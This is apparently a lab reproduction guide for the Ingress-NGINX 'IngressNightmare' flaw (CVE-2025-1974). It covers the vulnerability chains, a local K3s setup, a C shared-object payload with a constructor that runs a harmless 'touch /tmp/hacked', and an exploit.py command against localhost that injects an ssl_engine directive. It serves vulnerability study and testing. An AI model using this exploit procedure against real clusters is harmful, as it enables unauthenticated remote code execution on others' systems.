Kubernetes Ingress-NGINX Unauthenticated Remote Code Execution (CVE-2025-1974)¶
Ingress-NGINX is an ingress controller for Kubernetes that uses NGINX as a reverse proxy and load balancer.
The "IngressNightmare" vulnerability (CVE-2025-1974) stems from a critical flaw in the Ingress-NGINX Admission Controller, a core Kubernetes security mechanism responsible for validating incoming Ingress resources. This controller is exposed over the network without requiring authentication, allowing attackers to craft malicious AdmissionReview
requests and inject unauthorized configurations into Ingress resources. When chained with other vulnerabilities (CVE-2025-24514, CVE-2025-1097, or CVE-2025-1098), this can lead to remote code execution.
Some exploitable chains are known:
- CVE-2025-1974 + CVE-2025-24514: RCE via
auth-url
annotation injection - CVE-2025-1974 + CVE-2025-1097: RCE via
auth-tls-match-cn
annotation - CVE-2025-1974 + CVE-2025-1098: RCE via image UID abuse
References:
- https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
- https://kubernetes.io/blog/2025/03/24/ingress-nginx-cve-2025-1974/
- https://github.com/yoshino-s/CVE-2025-1974
- https://github.com/Clifford-prog/IngressNightmare-PoC
- https://github.com/kubernetes/ingress-nginx/blob/8c1ecd7655bd052a26e64d3361dede3096cd80c6/internal/ingress/controller/controller.go#L425
Environment Setup¶
To simulate the vulnerability, a K3s-based Kubernetes environment is used for simplicity:
docker compose up -d
The script will wait for the Kubernetes API to be ready and for the ingress-nginx controller to start. Once the environment starts, Ingress-NGINX listens on ports 30080 and 30443 (TLS), and the Ingress-NGINX Admission Controller also reverse proxies to port 30443,for example https://localhost:30443/networking/v1/ingresses
.
Vulnerability Reproduction¶
First, a shared object (.so
) payload matching the container's architecture needs to be compiled.
#include<stdio.h>
#include<stdlib.h>
__attribute__((constructor)) static void reverse_shell(void)
{
system("touch /tmp/hacked");
}
Use the following command to compile the source code:
gcc -shared -fPIC -o shell.so shell.c
After compiling the source code above with the appropriate environment, use exploit.py to exploit the vulnerability:
python exploit.py -a https://localhost:30443/networking/v1/ingresses -i http://localhost:30080/fake/addr -s shell.so
The exploit works by forging an AdmissionReview
request to inject an ssl_engine
directive, which forces NGINX to load the malicious dynamic shared object. Upon successful exploitation, you should observe the creation of a /tmp/hacked
file inside the ingress-nginx container.